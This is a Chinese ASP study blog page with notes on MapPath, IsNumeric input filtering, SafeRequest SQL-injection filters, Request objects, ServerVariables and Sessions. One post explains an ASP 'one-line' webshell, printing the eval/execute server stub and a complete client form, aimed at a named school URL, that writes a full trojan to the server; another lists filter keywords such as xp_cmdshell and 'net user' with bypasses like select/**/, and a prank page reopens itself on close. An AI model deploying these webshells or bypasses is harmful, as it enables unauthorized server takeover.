浏览模式: 标准 | 列表分类:ASP学习

asp操作本身小备忘

Submitted by admin
2010, October 31, 6:35 PM

这篇日志被加密了,请输入密码后查看。

Server.MapPath()获取本机绝对路径

Submitted by admin
2010, October 30, 9:04 PM

.    Server.MapPath("/")  应用程序根目录所在的位置 如

C:\Inetpub\wwwroot\

2.Server.MapPath("./")  表示所在页面的当前目录
      注:等价于Server.MapPath("")  返回 Server.MapPath("")所在页面的物理文件路径
      3.Server.MapPath("../")表示上一级目录
      4.Server.MapPath("~/")表示当前应用级程序的目录,如果是根目录,就是根目录,如果是虚拟目录,就是虚拟目录所在的位置如:   

C:\Inetpub\wwwroot\Example\
     注:等效于Server.MapPath("~"),即相对路径

Tags: mappath

asp中对多余参数的完美过滤--IsNumeric

Submitted by admin
2010, October 25, 11:35 PM

来源:闽南黑客基地 http://www.123yc.com(欢迎大家加入)
作者:FISH
今天给大家带来一个更加完美的过滤方式,就是用到微软的VBscript里面的一个isnumeric()函数!好了,
废话少说,先来看看他的描述与用法:
IsNumeric 函数 描述
返回 Boolean 值指明表达式的值是否为数字。
语法
IsNumeric(expression)
expression 参数可以是任意表达式。
说明
如果整个 expression 被识别为数字,IsNumeric 函数返回 True;
否则函数返回 False。
如果 expression 是日期表达式,IsNumeric 函数返回 False。
好了,看到这里大家明白了吗?
isnumeric()这个函数就是比较括号里的表达试,看是否为数字,如果为数字这返回true,如果非数字则返回false,基这个原理 ,那么我们就可以用
if not isnumeric(request.querystring("id")) then response.redirect "index.asp"
同样的道理,在then后面你也可以加上你想要的,如果加上别的别忘了加上一个
response.end
表示结束!
现在给大家解析以下,这句话的意思是:如果在IE地址栏上id后面的参数不是数字的话,那么实行then后面的语句!
大家看到了吧,这里就是管家的地方,所以我说是“完美过滤”!
比如大家平时检查时候有漏洞的时候一般就是在id后面加上一些特殊的符号来达到我们想要的目的!而着函数就是我们的天敌了!
只要你在id后面加上,比喻,(‘)或(;)或(,)或( and 1=1)...等等,
都使id已经变为了非数字,也就是使then后面的语句本实行了!
从而达到了我们的过滤目的!

====================================

对与一些纯数字的过滤最好莫过于用脚本语言的本身函数:

  比如 asp 脚本可以用 cint,clong,isNumeric 这样的过滤可以说是最严格的一种了。PHP脚本里可以用intval 这样的函数。

  对于不能过滤“<”和“>”情况下跨站的脚本的防范手段是,将所有的尖扩号都转化成对应的HTML编码。对于“<”表示成“<” 对与“>” 表示成“>” 需要特别注意的是对于上面所有的输入过滤都要在服务端进行,客户端的所有验证都会等于徒劳无用,可以很轻松的绕过。

Tags: isnumeric

SafeRequest 函数

Submitted by admin
2010, October 16, 6:27 PM

SafeRequest 函数 代码:
Function SafeRequest(Key,Modes)
        Dim ParaValue,strFilter,FilterArr,i
        Select Case Lcase(Modes)
                Case "get"
                        ParaValue=Trim(Request.QueryString(Key))
                Case "post"
                        ParaValue=Trim(Request.Form(Key))
                Case "auto"
                        ParaValue=Trim(Request(Key))
        End Select
        IF IsNum(ParaValue) Then
                SafeRequest=ParaValue
                Exit Function
        Else     //如果获取的参数值不为数字  ,这检查是否包含以下关键字
            strFilter="'|and|(|)|exec|insert|select|delete|update|*|chr|mid|master|truncate|declare"  
                FilterArr=Split(strFilter,"|")
                For i=0 To Ubound(FilterArr)
                        IF Instr(ParaValue,FilterArr(i))>0 Then
                                ParaValue=ReplaceStr(ParaValue,FilterArr(i),DBC2SBC(FilterArr(i),0))
                        End IF
                Next
                SafeRequest=ParaValue
        End IF
        SafeRequest = FilterScript(SafeRequest)
End Function

 

没有考虑大小写

 

==================================

Function SafeRequest(ParaName,ParaType)
       Dim ParaValue
       ParaValue=Request(ParaName)
       If ParaType=1 then
              If not isNumeric(ParaValue) then
                     Response.write "<center>参数" & ParaName & "必须为数字型,请正确操作!</center>"
                     Response.end
              End if
       Else
              ParaValue=replace(ParaValue,"'","''")
       End if
       SafeRequest=ParaValue
End function

第二个else部分即当ParaType不为1时,只过滤参数中的单引号

 

============================================

saferequest()函数:


Function SafeRequest(ParaName)
Dim ParaValue
ParaValue=Request(ParaName)  //获取数据
if IsNumeric(ParaValue)  then  //如果是数字
SafeRequest=ParaValue  //那就不过滤,直接赋值
exit Function

else
ParaValuetemp=lcase(ParaValue)    //如果不是数字,先把接到的数据全部转为小写
tempvalue="select |insert |delete from|'|count(|drop table|update |truncate  |asc(|mid(|char(|xp_cmdshell|exec master|net localgroup administrators|net user| or | and |%20from"
//定义要过滤的字符!

他过滤方式有问题。。。没有过滤 * / % / -- / ;
而且他过滤的都是select+空格。我们用select%09或者select/**/便能饶过。

Request、Request.Form和Request.QueryString

Submitted by admin
2010, October 14, 9:42 PM

Request.Form是获取以POST方式提交的表单数据;
Request.QueryString主要是获取地址栏参数或者以Get方式提交的数据
而Request则包含以上两种方式,会在Request.QueryString和Request.Form中都查询一遍变量。但是优先获取GET方式提交的数据,即Request.QueryString

=========

当我们向服务器请求一个页面时,可以附加一些条件(即请求参数)。条件的发送有两种方式
1、GET方式:直接在URL后缀加条件。如 www.xxx.com?id=1234
    此时,可以用Request.QueryString("id")来获取它的值。

2、POST方式:通过表单的形式填写数据,如在一个表单中有这个输入框<input type="text" name="阿里西西" value="1234"/>
    此时,可以用Request.Form("action")来获取它的值。

 

request() 的信息是可以来自查询串、表单或cookies等,不过它个一信息组织的次序,首先是 Querystring,然后是form、cokkie,cliencerifcate,servervariables 依次来接受

 

 

=====

Request.Form()只限post传送格式的接收
Request.QueryString()只限get传送格式的接收

Request()是不管那种方式的传送,都可以接收!

Tags: request

eval一句话木马原理详解

Submitted by admin
2010, October 13, 2:12 PM

<%eval request("#")%>

来解释下它的原理.
首先是JavaScript脚本的开始标记,其中RUNAT属性的值SERVER表示脚本将在服务器端运行,后面的eval是一句话木马的精华部分,使用 eval方法的话它里面的字符串将会被执行,这样当脚本在服务器端运行的时候同时也执行了Request.form('#')+''这句代 码,Request.form('#')的作用是读取客户端文件中html标记属性中name值被命名为#的部分,例如如下摘自一句话客户端的代码:

set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"

学过html的朋友应该注意到了在textarea标记中的name属性被赋值为#,也就是服务器端就是要读取其中的代码(使用Request.form('#')),然后执行(使用eval(Request.form('#')+'')),也就是执行了:
set iP=server.createObject("Adodb.Stream")
iP.Open
iP.Type=2
iP.CharSet="gb2312"
iP.writetext request("aoyun")
iP.SaveToFile server.mappath("aoyunwan.asp"),2
iP.Close
set iP=nothing
response.redirect "aoyunwan.asp"

学过asp的朋友应该看的懂,上面代码的意思是首先创建一个流对象ip,然后使用该对象的writetext方法将request("aoyun")读取 过来的内容(就是我们常见的一句话客户端的第二个textarea标记中的内容,也就是我们的大马的代码)写入服务端的 aoyunwan.asp文件中,写入结束后使用set iP=nothing 释放Adodb.Stream对象 然后使用response.redirect "aoyunwan.asp" 转向刚才写入大马代码的文件,也就是我们最后看见的大马了!

不过一句话木马能成功的条件依赖于两个条件:一、服务器端没有禁止Adodb.Stream组件,因为我们使用一句话木马写入大马代码的条件是服务器端创 建Adodb.Stream组件,如果该组件被禁用的话是不会写入成功的!二、还有就是权限的问题,如果当前的虚拟目录禁止user组或者everyone写 入操作的话那么也是不会成功的.

 

============

 

一句话木马"服务端
     就是我们要用来插入到asp文件中的asp语句,(不仅仅是以asp为后缀的数据库文件),该语句将回为触发,接收入侵者通过客户端提交的数据,执行并完成相应的操作,服务端的代码内容为   <%execute request("value")%>   其中value可以自己修改

"一句话木马"客户端
      用来向服务端提交控制数据的,提交的数据通过服务端构成完整的asp功能语句并执行,也就是生成我们所需要的asp木马文件

一句话木马客户端源文件:

里面涉及到一些脚本知识,我就只讲解一下功能和简单注释,不详细讲了,大家只要注意几个注意点就行了
***********************************************************

<form action=http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp method=post>
//"action="后面是需要修改的以asp命名的数据库的提交地址
//这个标签的意思是建立一个表单 以post方式提交给连接http://cjy.xjife.edu.cn/news/ebook/db/ebook.asp处理

<textarea name=value cols=120 rows=10 width=45>
//这里的value值根据服务端<%execute request("value")%>中value而设定
//可以自行修改成<%execute request("p")%>相应这里的value值也必须改为p

set lP=server.createObject("Adodb.Stream")//建立流对象,有了对象才可以使用它固有的属性和方法
lP.Open //打开
lP.Type=2 //以文本方式
lP.CharSet="gb2312" //字体标准
lP.writetext request("joeving") //取得木马内容 参数joeving可以自己定义 但必须和下面的name=joeving相对应
lP.SaveToFile server.mappath("wei.asp"),2
//将木马内容以覆盖文件的方式写入wei.asp
//2就是已覆盖的方式,这里的wei.asp也是可以自己定义的,如定义成1.asp
//但和下面的response.redirect"wei.asp"中wei.asp的保持一致
lP.Close //关闭对象
set lP=nothing //释放对象
response.redirect "wei.asp" //转向生成的wei.asp 和上面的wei.asp相对应,也就是你熟悉的asp木马登 陆界面
</textarea>
//这段程序的功能:利用插入到数据库文件的<%execute request("value")%>这段代码执行第一个textarea中的内容,并将添加的木马内容写入和指向wei.asp,这样就相当于在服务器上建立了个asp木马文件,这样就可以取得webshell了

<textarea name=joeving cols=120 rows=10 width=45>添入生成木马的内容/textarea><BR><center><br>
//这段标签是你用来添加木马内容用的

<input type=submit value=提交>
</form>

***********************************************************

//程序的主要框架是
<form>
<textarea></textarea>//取得木马内容并用无组件上传技术在服务器端创建asp木马文件并显示
<textarea></textarea>//添加木马内容用的
</form>
其实都是些很简单的一些html和asp的知识,大家不妨自己写个自己的木马客户端~~~呵呵

ServerVariables 环境变量

Submitted by admin
2010, September 6, 8:49 AM

ServerVariables

ServerVariables 集合检索预定的环境变量。

语法

Request.ServerVariables (server environment variable)
 

参数

服务器环境变量
指定要检索的服务器环境变量名。可以使用下面列出的值。
变量 说明
ALL_HTTP 客户端发送的所有 HTTP 标题文件。
ALL_RAW 检索未处理表格中所有的标题。ALL_RAW 和 ALL_HTTP 不同,ALL_HTTP 在标题文件名前面放置 HTTP_ prefix,并且标题名称总是大写的。使用 ALL_RAW 时,标题名称和值只在客户端发送时才出现。
APPL_MD_PATH 检索 ISAPI DLL 的 (WAM) Application 的元数据库路径。
APPL_PHYSICAL_PATH 检索与元数据库路径相应的物理路径。IIS 通过将 APPL_MD_PATH 转换为物理(目录)路径以返回值。
AUTH_PASSWORD 该值输入到客户端的鉴定对话中。只有使用基本鉴定时,该变量才可用。
AUTH_TYPE 这是用户访问受保护的脚本时,服务器用于检验用户的验证方法。
AUTH_USER 未被鉴定的用户名。
CERT_COOKIE 客户端验证的唯一 ID,以字符串方式返回。可作为整个客户端验证的签字。
CERT_FLAGS 如有客户端验证,则 bit0 为 1。

如果客户端验证的验证人无效(不在服务器承认的 CA 列表中),bit1 被设置为 1。

CERT_ISSUER 用户验证中的颁布者字段(O=MS,OU=IAS,CN=user name,C=USA)。
CERT_KEYSIZE 安全套接字层连接关键字的位数,如 128。
CERT_SECRETKEYSIZE 服务器验证私人关键字的位数。如 1024。
CERT_SERIALNUMBER 用户验证的序列号字段。
CERT_SERVER_ISSUER 服务器验证的颁发者字段。
CERT_SERVER_SUBJECT 服务器验证的主字段。
CERT_SUBJECT 客户端验证的主字段。
CONTENT_LENGTH 客户端发出内容的长度。
CONTENT_TYPE 内容的数据类型。同附加信息的查询一起使用,如 HTTP 查询 GET、 POST 和 PUT。
GATEWAY_INTERFACE 服务器使用的 CGI 规格的修订。格式为 CGI/revision。
HTTP_<HeaderName> HeaderName 存储在标题文件中的值。未列入该表的标题文件必须以 HTTP_ 作为前缀,以使 ServerVariables 集合检索其值。

注意 服务器将 HeaderName 中的下划线(_)解释为实际标题中的破折号。例如,如果您指定 HTTP_MY_HEADER,服务器将搜索以 MY-HEADER 为名发送的标题文件。

HTTPS 如果请求穿过安全通道(SSL),则返回 ON。如果请求来自非安全通道,则返回 OFF。
HTTPS_KEYSIZE 安全套接字层连接关键字的位数,如 128。
HTTPS_SECRETKEYSIZE 服务器验证私人关键字的位数。如 1024。
HTTPS_SERVER_ISSUER 服务器验证的颁发者字段。
HTTPS_SERVER_SUBJECT 服务器验证的主字段。
INSTANCE_ID 文本格式 IIS 实例的 ID。如果实例 ID 为 1,则以字符形式出现。使用该变量可以检索请求所属的(元数据库中)Web 服务器实例的 ID。
INSTANCE_META_PATH 响应请求的 IIS 实例的元数据库路径。
LOCAL_ADDR 返回接受请求的服务器地址。如果在绑定多个 IP 地址的多宿主机器上查找请求所使用的地址时,这条变量非常重要。
LOGON_USER 用户登录 Windows NT® 的帐号。
PATH_INFO 客户端提供的额外路径信息。可以使用这些虚拟路径和 PATH_INFO 服务器变量访问脚本。如果该信息来自 URL,在到达 CGI 脚本前就已经由服务器解码了。
PATH_TRANSLATED PATH_INFO 转换后的版本,该变量获取路径并进行必要的由虚拟至物理的映射。
QUERY_STRING 查询 HTTP 请求中问号(?)后的信息。
REMOTE_ADDR 发出请求的远程主机的 IP 地址。
REMOTE_HOST 发出请求的主机名称。如果服务器无此信息,它将设置为空的 MOTE_ADDR 变量。
REMOTE_USER 用户发送的未映射的用户名字符串。该名称是用户实际发送的名称,与服务器上验证过滤器修改过后的名称相对。
REQUEST_METHOD 该方法用于提出请求。相当于用于 HTTP 的 GET、HEAD、POST 等等。
SCRIPT_NAME 执行脚本的虚拟路径。用于自引用的 URL。
SERVER_NAME 出现在自引用 UAL 中的服务器主机名、DNS 化名或 IP 地址。
SERVER_PORT 发送请求的端口号。
SERVER_PORT_SECURE 包含 0 或 1 的字符串。如果安全端口处理了请求,则为 1,否则为 0。
SERVER_PROTOCOL 请求信息协议的名称和修订。格式为 protocol/revision
SERVER_SOFTWARE 应答请求并运行网关的服务器软件的名称和版本。格式为 name/version
URL 提供 URL 的基本部分。

注释

如果客户端发送的标题文件在上述表格中找不到,可以在调用 Request.ServerVariables 中给标题文件名加上 HTTP_ 的前缀以检索其值。例如,如果客户端发送标题文件

SomeNewHeader:SomeNewValue

您可以通过使用下面的语法检索 SomeNewValue

<% Request.ServerVariables("HTTP_SomeNewHeader") %>

您可使用重述符以循环遍历所有的服务器变量名。例如,使用下面的脚本打印出所有的服务器名。

<TABLE>
<TR><TD><B>Server Variable</B></TD><TD><B>Value</B></TD></TR>
<% For Each name In Request.ServerVariables %> 
<TR><TD> <%= name %> </TD><TD>  <%= Request.ServerVariables(name) %> </TD></TR>
</TABLE>
<% Next %>

示例

下面的例子使用 Request 对象显示一些服务器变量。

<HTML>
<!-- This example displays the content of several ServerVariables. --> 
ALL_HTTP server variable = 
<%= Request.ServerVariables("ALL_HTTP") %> <BR>
CONTENT_LENGTH server variable = 
<%= Request.ServerVariables("CONTENT_LENGTH") %> <BR> 
CONTENT_TYPE server variable = 
<%= Request.ServerVariables("CONTENT_TYPE") %> <BR>
QUERY_STRING server variable = 
<%= Request.ServerVariables("QUERY_STRING") %> <BR> 
SERVER_SOFTWARE server variable = 
<%= Request.ServerVariables("SERVER_SOFTWARE") %> <BR> 
</HTML>

下一个示例使用 ServerVariables 集合将服务器名插入一个超文本链接。

<A HREF = "http://<%= Request.ServerVariables("SERVER_NAME") %>
/scripts/MyPage.asp">Link to MyPage.asp</A>

小备忘

Submitted by admin
2010, February 6, 2:00 PM

(1)

Trim()

 

  功能删除字符串首部和尾部的空格。

 

  语法Trim ( string )

 

  参数string:string类型,指定要删除首部和尾部空格的字符串返回值String。函数执行成功时返回删除了string字符串首部和尾部空格的字符串,发生错误时返回空字符串("")。如果任何参数的值为NULL,Trim()函数返回NULL。

 

(2)

CLng

  描述
 
  返回表达式,此表达式已被转换为 Long 子类型的 Variant。
 
  语法
 
  CLng(expression)
 
  expression 参数是任意有效的表达式。
 
  说明
 
  通常,您可以使用子类型数据转换函数书写代码,以显示某些操作的结果应当被表达为特定的数据类型,而非默认的数据类型。例如,在出现货币运算、单精度或双精度算术运算的情况下,使用 CInt 或 CLng 函数强制进行整数运算。
 
  CLng 函数用于进行从其他数据类型到 Long 子类型的的国际公认的格式转换。例如,对十进制分隔符和千位分隔符的识别取决于系统的区域设置。
 
  如果 expression 取值不在 Long 子类型的允许范围内,则会出现错误
 
  --------------------------------------------------------------------------------
 
  注意 CLng 函数与 Fix 和 Int 函数功能不同,后两者函数对数值的小数部分进行截尾取整而不是四舍五入。当小数部分恰好等于 0.5 时, CLng 函数通常向与此数最接近的偶数取整。例如,0.5 取整为 0、1.5 取整为 2。
 
3)

lcase

  Lcase(string)将大写字母转换成小写字母,若String本身为小写字母或非字母函数,函数的返回值不变;若String为NULL,则函数的返回值为NULL
 
  示例:
 
  <%
 
  Dim MyChar '定义一个变量
 
  MyChar = "COMPUTER" '给变量赋值
 
  MyChar = Lcase(MyChar) '将变量所有字母转换为小写
 
  Response.write (MyChar) '输出变量
 
  %>
 
  上述示例为ASP代码
 
--------------
 
CStr()
 
  函数转化一个表达式为字符串.
 
  表达式 CStr(expression)
 
  允许数据类型: expression 是任何有效的表达式。
 
  实例: <%
 
  s = 3 + 2
 
  response.write "The 返回结果 is: " & cStr(s)
 
  %>
 
  返回结果: 转化数字“5”为字符“5”。
Tags: clng, trim

Session对象

Submitted by admin
2009, November 14, 2:25 PM

ASP对象中除了用于发送(Response)、接收和处理数据(requeest)、服务器访问(Server)的对象外,还有一些非常实用的标记Active Server应用程序(Application)和单个用户信息(Session)的对象。

Session对象

该对象在ASP使用中占相当大的比例。由于网页是一种无状态程序,无法得知用户浏览状态。在ASP中,通过Session对象来记录使用者私有的数据变量,以作为用户再次对服务器提出要求时做确认,用户在程序的Web页面之间跳转时,存在Session对象中的变量将不会消失。

这些真的是很重要的功能,尤其是有会员的系统必须要用到的。像是会员的登入账号、时间、状态以及许许多多该记录的实时数据(如购物系统记录使用者的购物篮内的商品),这些信息属于各使用者私人所需要,通常开发者都是使用 Session 记录处理。

在ASP中的Session是使用Cookies构成,服务器将所有的Session内记录的数据,以Cookies的方式传至用户的浏览器。通常一般浏览器会将这些Cookies存起来,每当使用者点选连结,再次与服务器做联机时,浏览器就会把这些Cookies传回Server供做处理:这即是Session的运作原理。由此可知会话状态Session仅在支持cookie的浏览器中保留,如果客户关闭了Cookie 选项Session也就不能发挥作用了。

一、Session.SessionID

SessionID 属性返回用户的会话标识。在创建会话时,服务器会为每一个会话生成一个单独的标识,会话标识以长整形数据类型返回。在很多情况下 SessionID 可以用于 WEB 页面注册统计。

利用该属性可以解决一种对用户的控制问题。该问题的主要功能就是,针对某个网站的一个模块,当一个会员登录后正在看此模块时,另一个人用同样的会员名登录,就不能浏览这个模块:也就是说一个会员名同时只能一个人浏览此模块。

通过用会员名(假设为UserID,唯一)和SessionID来实现了控制。当会员登录时,给这个会员一个Session记录登录状态如:Session("Status")="Logged",同时把这个会员的Session.SessionID写入数据库。当他要浏览此模块时,先判断其是否登录,若已经登录再判断它的SessionID是否与数据库记录的相同,如果不同则不能访问。

这样,当另一个用户用相同的会员名登录时,那么数据库中记录的就是新的SessionID,前者访问此模块时就不能通过检查。这就实现了一个会员名同时只能一个人浏览某个模块。这个功能在一些收费网站有很有特别作用,它防止了一个会员名给多个人浏览的问题,为公司保障了利益。

<%=Session.SessionId%>

是单独生成的唯一ID标识,可刷新调试。

二、Session.TimeOut

该属性设置的Session的最大间隔时间。间隔时间是指客户器端从最近一次向Web服务器提出要求,到下一次向Web服务器提出要求的时间。可以理解为:如果用户在该超时时限之内不刷新或请求网页,则该会话将终止。Timeout 属性是以分钟为单位,为该应用程序的Session对象指定超时时限的,一般默认为20分钟。这在网吧等公共场所,登录个人信息页而忘记关闭窗口时,显得比较重要(至少可以把时间设短些)。

<%Session.TimeOut=10%>

以上SessionId、TimeOut属于Session对象的两个属性,下面看该对象的一个方法Abandon

三、Session.Abandon

该方法是Session对象的唯一方法,可以清除Session对象,用来消除用户的Session对象并释放其所占的资源。当然你如果没有明确调用Abandon方法,一旦会话超时,服务器也会将删除这些对象并释放资源。
下面就用两个页的程序来认识Session对象以及Abandon方法的利用。

1,login.asp

<%
'是提取url中变量loginout的值是否为true,若为真,就执行Session.Abandon()。
if Request.QueryString("loginout")="true" then
Session.Abandon()
end if
'只有在当点击了submit按钮的前提下,再来判断提取的东西都不为空,则建立Session对象。
submitname=request.form("submit1")
if submitname="submit" then
if Request.Form("name")<>"" and Request.Form("pwd")<>"" then
Session("name")=Request.Form("name")
Session("pw")=Request.Form("pwd")
end if
end if
%>
<%
'如果Session("name")不为空,则显示Session("name")的值,并且做一个到info.asp的链接。
if Session("name")<>"" then
response.write("你的name值是:"&Session("name"))
response.write("<br><a href='info.asp'>显示你的资料</a>")
else
'否则,即Session("name")为空不存在,则显示表单用以输入建立Session的平台。
%>
<form action="login.asp" method="post">
姓名:<input type="text" name="name"><br>
密码:<input type="password" name="pwd"><br>
<input type="submit" value="submit" name="submit1">
</form>
<!--同样做了一个到info.asp的链接。-->
<a href="info.asp">显示你的资料</a>
<%end if%>

注意Session("name")为空和不为空的时候,都做了一个到info.asp的链接,具体调试结果如何,再来看info.asp的内容。

2,info.asp

<%
'如果session对象值为空则跳转到login.asp
if session("name")="" then
    Response.Redirect("login.asp")
'否则就显示个人信息
else
    Response.Write("你的姓名:"&session("name")&"<br>")
    Response.Write("你的密码:"&session("pw")&"<br>")
end if
%>
<a href="login.asp">返回</a>
<a href="login.asp?loginout=true">退出</a>

可以看出来,info.asp页面内容的显示其实是需要条件的。那就是必须得有一个session值的存在,这样才可以显示具体的信息。这在登录系统中运用得比较多。

你可以把login.asp想象成一个登录窗口,当然我的这个比较简单(只要输入用名和密码就生产Session了),实际情况是:判断输入的用名和密码是否和数据库中的用名和密码吻合,如果正确吻合才生成Session的。然info.asp页面的作用刚好可以做为一权限页面,因为进入该页需要Session,而Session的产生是确保用名密码正确的。

所以当一开始出现表单窗口时,你点login.asp链接是打不开的,只有当提交了表单生成了Session后才能进入。这正是登录系统的精髓所在,Do You Know?:)

四、Session_OnStart

Session_OnStart属于Session对象的一类事件。它是在服务器创建新会话时发生的。服务器在执行请求的页之前先处理该脚本。Session_OnStart 事件是设置会话期变量的最佳时机,因为在访问任何页之前都会先设置它们。

对象的例程每一次启动时触发Session_OnStart事件,然后运行Session_Onstart事件的处理过程。也就是说,当服务器接收到应用程序中的URL的HTTP请求时,触发此事件,并建立一个Session对象。

当然说到Session_OnStart事件就不能不谈到一个文件Global.asa(P.S:我打算把该文件和Chat程序放在一起说的,所以现在先不作过多解释)具体用法先透露,写在Global.asa文件内部

<SCRIPT RUNAT=Server Language=VBScript>
.......
Sub Session_OnStart
.......
End Sub
.......
</SCRIPT>

五、Session_OnEnd

一看也就知道是Session对象的另一类事件了。当调用Session.Abandon方法时或者在TimeOut的时间内没有刷新,这会触发Session_OnEnd事件,然后执行里面的脚本。同样具体用法在后面将写的Global.asa文件专题中详细介绍到,简单语法如下:

<SCRIPT RUNAT=Server Language=VBScript>
.......
Sub Session_OnEnd
.......
End Sub
.......
</SCRIPT>

最后,不知道大家有没有玩过这样的一个程序:很令人讨厌的,让你永远关不掉的程序页面。
只做程序调试,不要去作弄别人。

以下文件保存为bug.html

<body onunload=javascript:window.open("bug.html")>

发现该文件关不了了?(当然你要关闭,把源代码修改下)
那现在的要求是:计算关闭的次数,如果超过多少次就可以自行关闭,那下面就采用到session

以下文件保存为bug.asp

<%if session("num") < 2 then%>
<body onunload=javascript:window.open("bug.asp")>
<%session("num")=session("num")+1%>
<%else%>
<script>
self.close()
</script>
<%end if%>

呵呵,当你关闭三次以后,窗口就再也不弹出了。了解吧:)
以上就是对Session对象的系统学习。

ASP的常用内置函数

Submitted by admin
2009, September 26, 12:42 PM

ASP的常用内置函数

» 阅读全文

Tags: 函数, asp